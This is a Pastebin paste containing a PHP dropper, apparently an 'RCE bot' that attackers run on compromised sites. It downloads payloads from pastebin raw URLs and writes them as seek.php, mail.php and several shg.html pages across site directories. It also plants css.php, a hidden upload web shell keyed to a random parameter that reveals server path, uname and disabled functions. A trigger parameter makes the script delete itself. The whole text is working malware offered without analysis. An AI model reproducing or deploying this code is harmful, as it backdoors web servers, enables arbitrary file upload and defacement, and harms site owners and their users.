shgshgamator

amrshg

Aug 16th, 2016
1,206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.47 KB | None | 0 0
  1. <?php
  2. if(isset($_GET["shkupimaster"]))
  3. {
  4. $kurd =unlink(__FILE__);
  5. if ($kurd){ echo "Ok"; }else{ echo "error"; }}
  6. ?>
  7. <?php
  8. function http_http($url){
  9. $im = curl_init($url);
  10. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  11. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  12. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  13. curl_setopt($im, CURLOPT_HEADER, 0);
  14. return curl_exec($im);
  15. curl_close($im);
  16. }
  17.  
  18.  
  19. $checkx = $_SERVER['DOCUMENT_ROOT'] . "/images/seek.php" ;
  20. $textx = http_http('http://pastebin.com/raw/NfTHKn3m');
  21. $openx = fopen($checkx, 'w');fwrite($openx, $textx);fclose($openx);
  22. $r=fopen("../layouts/libraries/seek.php", "w"); fwrite($r,$textx); fclose($r);
  23. ?>
  24. <?php
  25. error_reporting(0);
  26. echo "rcebotbyamarshg";
  27. function Random($length = 6) {
  28. $pit = 'abcdefghijklmnopqrstuvwxyz';
  29. $rands = '';
  30. for ($i = 0; $i < $length; $i++) {
  31. $rands .= $pit[rand(0, strlen($pit) - 1)];
  32. }
  33. return $rands;
  34. }
  35. $ran = Random();
  36. echo '<a hresdddf="'."$ran".'">';
  37. $file1 = '<?php
  38. error_reporting(0);
  39. if(isset($_GET['."$ran".']))
  40. {
  41.  
  42. echo "path:".getcwd()."";
  43. echo "<b><br>uname:".php_uname()."<br></b>ShkupiCyber";
  44. print "\n";$disable_functions = @ini_get("disable_functions");
  45. echo "DisablePHP=".$disable_functions; print "<br>";
  46. echo"<form method=post enctype=multipart/form-data>";
  47. echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
  48. if($_POST["v"]==up)
  49. { if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>Uploaded</b>-->".$_FILES["f"]["name"];}else{echo"<b>amarshkupi";}}
  50. { if(@copy($_FILES["emad"]["tmp_name"],$_FILES["emad"]["name"])){echo"<b></b>-->".$_FILES["emad"]["name"];}else{echo"<b>";}}}
  51. ?>';
  52. $r=fopen("css.php", "w"); fwrite($r,$file1); fclose($r);
  53. $r=fopen("../layouts/libraries/css.php", "w"); fwrite($r,$file1); fclose($r);
  54.  
  55. $file111 = http_http('http://pastebin.com/raw/1nyQYaVZ');
  56. $r=fopen("index.html", "w"); fwrite($r,$file111); fclose($r);
  57. $r=fopen("../shg.html", "w"); fwrite($r,$file111); fclose($r);
  58. $r=fopen("../images/shg.html", "w"); fwrite($r,$file111); fclose($r);
  59. $r=fopen("../lib/shg.html", "w"); fwrite($r,$file111); fclose($r);
  60. $r=fopen("../logs/shg.html", "w"); fwrite($r,$file111); fclose($r);
  61. $r=fopen("../cache/shg.html", "w"); fwrite($r,$file111); fclose($r);
  62.  
  63. $file111111 = http_http('http://pastebin.com/raw/D5fHEgpd');
  64. $r=fopen("mail.php", "w"); fwrite($r,$file111111); fclose($r);
  65. $r=fopen("../tmp/mail.php", "w"); fwrite($r,$file111111); fclose($r);
  66.  
  67. ?>
Advertisement
Add Comment
Please, Sign In to add comment